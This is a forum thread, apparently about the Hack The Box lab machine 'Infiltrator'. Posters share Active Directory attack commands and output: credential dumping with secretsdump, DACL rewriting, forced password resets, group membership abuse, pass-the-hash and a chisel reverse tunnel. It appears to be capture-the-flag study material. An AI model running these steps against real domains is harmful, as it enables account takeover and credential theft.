[jonah]

can someone help me for forward the port 14123 pls ? i'm doing chisel server --reverse --port 9999 on my local machine and ./chisel64.exe client 10.10.14.120:9999 R:14123:127.0.0.1:14123 and proxychains -q curl http://127.0.0.1:14123/ on my local machine but i cant reach 127.0.0.1:14123

[osamy7593]

why


impacket-secretsdump -k -no-pass [email protected]

Impacket v0.12.0.dev1+20240523.75507.15eff880 - Copyright 2023 Fortra

[-] Policy SPN target name validation might be restricting full DRSUAPI dump. Try -just-dc-user
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
[-] DRSR SessionError: code: 0x20f7 - ERROR_DS_DRA_BAD_DN - The distinguished name specified for this replication operation is invalid.
[*] Something went wrong with the DRSUAPI approach. Try again with -use-vss parameter
[*] Cleaning up...

This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Asking for rep is not allowed

[ir0nman4l1f3]

why


impacket-secretsdump -k -no-pass  [email protected]

Impacket v0.12.0.dev1+20240523.75507.15eff880 - Copyright 2023 Fortra

[-] Policy SPN target name validation might be restricting full DRSUAPI dump. Try -just-dc-user
[*]Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*]Using the DRSUAPI method to get NTDS.DIT secrets
[-] DRSR SessionError: code: 0x20f7 - ERROR_DS_DRA_BAD_DN - The distinguished name specified for this replication operation is invalid.
[*]Something went wrong with the DRSUAPI approach. Try again with -use-vss parameter
[*]Cleaning up...

[*]How did you bypass/resolve the Access Denied error when trying to added rodriguez account to CHIEFS MARKETING group? I was able to successfully change this users password and get a tgt with it, but stuck on the next steps after this to get to harris user.

└─$ net rpc group addmem 'CHIEFS MARKETING' 'e.rodriguez' -U 'infiltrator.htb\e.rodriguez' -S 'dc01.infiltrator.htb'Password for [INFILTRATOR.HTB\e.rodriguez]:
Could not add e.rodriguez to CHIEFS MARKETING: NT_STATUS_ACCESS_DENIED

[mxntysec]

Ok, I managed to change the password for m.harris. If you get an error about password age policy, just restart the box. You need to be fast, so you better prepare the commands for adding yourself to the Chiefs Marketing group and then change the password of m.harris. Then you need to do the same steps as d.anderson... get a tgt and connect using evil-winrm with that kerberos ticket.

hey, I got through all the steps and I changed m.harris's password and got a TGT, what command did you use to get a shell via the kerberos ticket?

[ir0nman4l1f3]

What am I missing here?

└─$ impacket-getTGT infiltrator.htb/d.anderson:'WAT?watismypass!'

└─$ export KRB5CCNAME=d.anderson.ccache

└─$ python dacledit.py -action 'write' -rights 'FullControl' -inheritance -principal 'd.anderson' -target-dn 'OU=MARKETING DIGITAL,DC=INFILTRATOR,DC=HTB' 'infiltrator.htb/d.anderson' -k -no-pass -dc-ip $ip
Impacket v0.12.0.dev1+20240830.154152.9aa0954b - Copyright 2023 Fortra

[*]NB: objects with adminCount=1 will no inherit ACEs from their parent container/OU
[*]DACL backed up to dacledit-20240901-023706.bak
[*]DACL modified successfully!

└─$ python3 bloodyAD.py --host "dc01.infiltrator.htb" -d "infiltrator.htb" --kerberos --dc-ip $ip -u "d.anderson" -p 'WAT?watismypass!' set password "e.rodriguez" 'WAT?watismypass!'
[+] Password changed successfully!

└─$ net rpc group addmem 'CHIEFS MARKETING' 'e.rodriguez' -U 'e.rodriguez' -S 'dc01.infiltrator.htb'Password for [WORKGROUP\e.rodriguez]:

Could not add e.rodriguez to CHIEFS MARKETING: NT_STATUS_ACCESS_DENIED

[osamy7593]

why pth-net rpc group addmem "Chiefs Marketing" "e.rodriguez" -U "infiltrator.htb/e.rodriguez%ffffffffffffffffffffffffffffffff:b02e97f2fdb5c3d36f77375383449e56" -S "10.10.11.31"

E_md4hash wrapper called.
HASH PASS: Substituting user supplied NTLM HASH...
Could not add e.rodriguez to Chiefs Marketing: NT_STATUS_ACCESS_DENIED

This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Asking for rep is not allowed

[mxntysec]

What am I missing here?

└─$ impacket-getTGT infiltrator.htb/d.anderson:'WAT?watismypass!'

└─$ export KRB5CCNAME=d.anderson.ccache

└─$ python dacledit.py -action 'write' -rights 'FullControl' -inheritance -principal 'd.anderson' -target-dn 'OU=MARKETING DIGITAL,DC=INFILTRATOR,DC=HTB' 'infiltrator.htb/d.anderson' -k -no-pass -dc-ip $ip
Impacket v0.12.0.dev1+20240830.154152.9aa0954b - Copyright 2023 Fortra

[*]NB: objects with adminCount=1 will no inherit ACEs from their parent container/OU
[*]DACL backed up to dacledit-20240901-023706.bak
[*]DACL modified successfully!

└─$ python3 bloodyAD.py --host "dc01.infiltrator.htb" -d "infiltrator.htb" --kerberos --dc-ip $ip -u "d.anderson" -p 'WAT?watismypass!' set password "e.rodriguez" 'WAT?watismypass!'
[+] Password changed successfully!

└─$ net rpc group addmem 'CHIEFS MARKETING' 'e.rodriguez' -U 'e.rodriguez' -S 'dc01.infiltrator.htb'Password for [WORKGROUP\e.rodriguez]:

Could not add e.rodriguez to CHIEFS MARKETING: NT_STATUS_ACCESS_DENIED

root@kali:~# python3 bloodyAD.py --host dc01.infiltrator.htb --dc-ip 10.10.11.31 -u e.rodriguez -k -d infiltrator.htb add groupMember "CN=CHIEFS MARKETING,CN=USERS,DC=INFILTRATOR,DC=HTB" e.rodriguez

[+] e.rodriguez added to CN=CHIEFS MARKETING,CN=USERS,DC=INFILTRATOR,DC=HTB

[ir0nman4l1f3]

What am I missing here?

└─$ impacket-getTGT infiltrator.htb/d.anderson:'WAT?watismypass!'

└─$ export KRB5CCNAME=d.anderson.ccache

└─$ python dacledit.py -action 'write' -rights 'FullControl' -inheritance -principal 'd.anderson' -target-dn 'OU=MARKETING DIGITAL,DC=INFILTRATOR,DC=HTB' 'infiltrator.htb/d.anderson' -k -no-pass -dc-ip $ip
Impacket v0.12.0.dev1+20240830.154152.9aa0954b - Copyright 2023 Fortra

[*]NB: objects with adminCount=1 will no inherit ACEs from their parent container/OU
[*]DACL backed up to dacledit-20240901-023706.bak
[*]DACL modified successfully!

└─$ python3 bloodyAD.py --host "dc01.infiltrator.htb" -d "infiltrator.htb" --kerberos --dc-ip $ip -u "d.anderson" -p 'WAT?watismypass!' set password "e.rodriguez" 'WAT?watismypass!'
[+] Password changed successfully!

└─$ net rpc group addmem 'CHIEFS MARKETING' 'e.rodriguez' -U 'e.rodriguez' -S 'dc01.infiltrator.htb'Password for [WORKGROUP\e.rodriguez]:

Could not add e.rodriguez to CHIEFS MARKETING: NT_STATUS_ACCESS_DENIED

root@kali:~# python3 bloodyAD.py --host dc01.infiltrator.htb --dc-ip 10.10.11.31 -u e.rodriguez -k -d infiltrator.htb add groupMember "CN=CHIEFS MARKETING,CN=USERS,DC=INFILTRATOR,DC=HTB" e.rodriguez

[+] e.rodriguez added to CN=CHIEFS MARKETING,CN=USERS,DC=INFILTRATOR,DC=HTB

[*]This resolve it - thanks for the guidance!

[osamy7593]

What am I missing here?

└─$ impacket-getTGT infiltrator.htb/d.anderson:'WAT?watismypass!'

└─$ export KRB5CCNAME=d.anderson.ccache

└─$ python dacledit.py -action 'write' -rights 'FullControl' -inheritance -principal 'd.anderson' -target-dn 'OU=MARKETING DIGITAL,DC=INFILTRATOR,DC=HTB' 'infiltrator.htb/d.anderson' -k -no-pass -dc-ip $ip
Impacket v0.12.0.dev1+20240830.154152.9aa0954b - Copyright 2023 Fortra

[*]NB: objects with adminCount=1 will no inherit ACEs from their parent container/OU
[*]DACL backed up to dacledit-20240901-023706.bak
[*]DACL modified successfully!

└─$ python3 bloodyAD.py --host "dc01.infiltrator.htb" -d "infiltrator.htb" --kerberos --dc-ip $ip -u "d.anderson" -p 'WAT?watismypass!' set password "e.rodriguez" 'WAT?watismypass!'
[+] Password changed successfully!

└─$ net rpc group addmem 'CHIEFS MARKETING' 'e.rodriguez' -U 'e.rodriguez' -S 'dc01.infiltrator.htb'Password for [WORKGROUP\e.rodriguez]:

Could not add e.rodriguez to CHIEFS MARKETING: NT_STATUS_ACCESS_DENIED

root@kali:~# python3 bloodyAD.py --host dc01.infiltrator.htb --dc-ip 10.10.11.31 -u e.rodriguez -k -d infiltrator.htb add groupMember "CN=CHIEFS MARKETING,CN=USERS,DC=INFILTRATOR,DC=HTB" e.rodriguez

[+] e.rodriguez added to CN=CHIEFS MARKETING,CN=USERS,DC=INFILTRATOR,DC=HTB

after changing m.harris pass the acc is aslo have restrictions how u connent to evil-winrm

This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Asking for rep is not allowed

[mxntysec]

What am I missing here?

└─$ impacket-getTGT infiltrator.htb/d.anderson:'WAT?watismypass!'

└─$ export KRB5CCNAME=d.anderson.ccache

└─$ python dacledit.py -action 'write' -rights 'FullControl' -inheritance -principal 'd.anderson' -target-dn 'OU=MARKETING DIGITAL,DC=INFILTRATOR,DC=HTB' 'infiltrator.htb/d.anderson' -k -no-pass -dc-ip $ip
Impacket v0.12.0.dev1+20240830.154152.9aa0954b - Copyright 2023 Fortra

[*]NB: objects with adminCount=1 will no inherit ACEs from their parent container/OU
[*]DACL backed up to dacledit-20240901-023706.bak
[*]DACL modified successfully!

└─$ python3 bloodyAD.py --host "dc01.infiltrator.htb" -d "infiltrator.htb" --kerberos --dc-ip $ip -u "d.anderson" -p 'WAT?watismypass!' set password "e.rodriguez" 'WAT?watismypass!'
[+] Password changed successfully!

└─$ net rpc group addmem 'CHIEFS MARKETING' 'e.rodriguez' -U 'e.rodriguez' -S 'dc01.infiltrator.htb'Password for [WORKGROUP\e.rodriguez]:

Could not add e.rodriguez to CHIEFS MARKETING: NT_STATUS_ACCESS_DENIED

root@kali:~# python3 bloodyAD.py --host dc01.infiltrator.htb --dc-ip 10.10.11.31 -u e.rodriguez -k -d infiltrator.htb add groupMember "CN=CHIEFS MARKETING,CN=USERS,DC=INFILTRATOR,DC=HTB" e.rodriguez

[+] e.rodriguez added to CN=CHIEFS MARKETING,CN=USERS,DC=INFILTRATOR,DC=HTB

after changing m.harris pass the acc is aslo have restrictions how u connent to evil-winrm

No idea, trying to solve this step right now with a friend..